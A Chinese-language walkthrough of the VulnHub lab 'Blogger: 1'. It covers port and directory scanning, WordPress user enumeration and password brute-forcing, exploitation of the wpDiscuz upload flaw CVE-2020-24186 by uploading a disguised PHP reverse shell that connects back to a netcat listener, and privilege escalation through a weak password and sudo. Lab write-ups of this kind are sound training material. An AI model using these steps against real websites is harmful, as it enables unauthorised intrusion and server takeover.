• vulnhub blogger: 1


    渗透思路:

    nmap扫描端口 ---- gobuster扫描网站目录 ---- wpscan发现wordpress漏洞插件 ---- 利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell ---- 弱密码提权

    环境信息:

    靶机:192.168.101.106

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.106

    扫描到22和80端口

    2、gobuster扫描网站目录

    gobuster dir -u http://192.168.101.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

    只扫描到下图几个目录,一个个看过去,发现/assets目录内有乾坤

    http://192.168.101.106/assets/fonts/下有个目录叫blog,点了之后来到http://192.168.101.106/assets/fonts/blog/

    观察http://192.168.101.106/assets/fonts/blog/发现应该是个wordpress站点

    3、wpscan发现wordpress漏洞插件

    wpscan枚举wordpress用户名

    wpscan --url http://192.168.101.106/assets/fonts/blog/ -e

    发现用户jm3s

    然后爆破jm3s的密码,但是没有爆破出来

    wpscan --url http://192.168.101.106/assets/fonts/blog/ -U jm3s-P "rockyou.txt"

    接下来尝试用wpscan枚举wordpress插件,可以选mixed模式或者aggressive模式

    wpscan --url http://192.168.101.106/assets/fonts/blog/ --plugins-detection mixed

    发现两个插件,其中wpdiscuz有未授权的任意文件上传漏洞,可以getshell

    4、利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell

    在利用任意文件上传之前,需要让网页正常显示,从网页源代码中可以推断,网站的hostname应该是

    blogger.thm

    修改攻击机的/etc/hosts,增加一行192.168.101.106 blogger.thm

    下面这篇文章是该漏洞的复现(CVE-2020-24186),照着做一遍就可以getshell

    https://www.jianshu.com/p/6f178aec2749

    先随便点一个文章,比如第一篇http://blogger.thm/assets/fonts/blog/?p=29

    拉到文章最下面,在提交评论的右下角有个图像的图标,点击这个图标

    将kali中/usr/share/webshells/php/php-reverse-shell.php重命名为shell.gif,并在文件内容的最前面加上"GIF89a"(不好意思图片里面写错了,不过居然过了验证^-^),然后将$ip和$port改为攻击机ip和监听端口。保存后在此处上传。

    上传过程中用burp抓包,将请求报文中filename改为shell.php

    响应报文中可以看到shell.php的存储路径http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

    攻击机上nc监听8888端口

    nc -nlvp 8888

    浏览器访问

    http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php

    在攻击机监听端口上得到www-data的shell

    执行下面的代码可以得到交互式shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

    5、弱密码提权

    进入靶机/home目录发现有三个用户,经过尝试发现vagrant用户的密码和用户名相同,用su - vagrant命令提权到vagrant。

    提权到vagrant后,执行sudo -l,发现vagrant可以以任何用户的身份执行任何命令,因此可以用sudo su -命令提权到root

    两个flag文件分别是/home/james/user.txt和/root/root.txt,内容都是base64编码的,可以用cat xxx | base64 -d命令解码

    cat /home/james/user.txt | base64 -d

    cat /root/root.txt | base64 -d

  • 相关阅读:
    Kafka消费者使用案例
    服饰行业如何将实体经济做得有智慧?
    智慧工地安全管理大屏UX/UI设计的触控感——从交互体验角度的产品思考
    货币银行学试卷及答案
    闲谈JVM(一):浅析JVM Heap参数配置
    【OpenCV】- 多边形将轮廓包围
    php 使用 python translate 实现离线翻译
    用4年8个月熬出头!成功入职阿里巴巴,涨薪14K(Java)
    【知识网络分析】 一模网络(one node)
    灰度级形态学 - 灰度开运算和灰度闭运算
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/127036945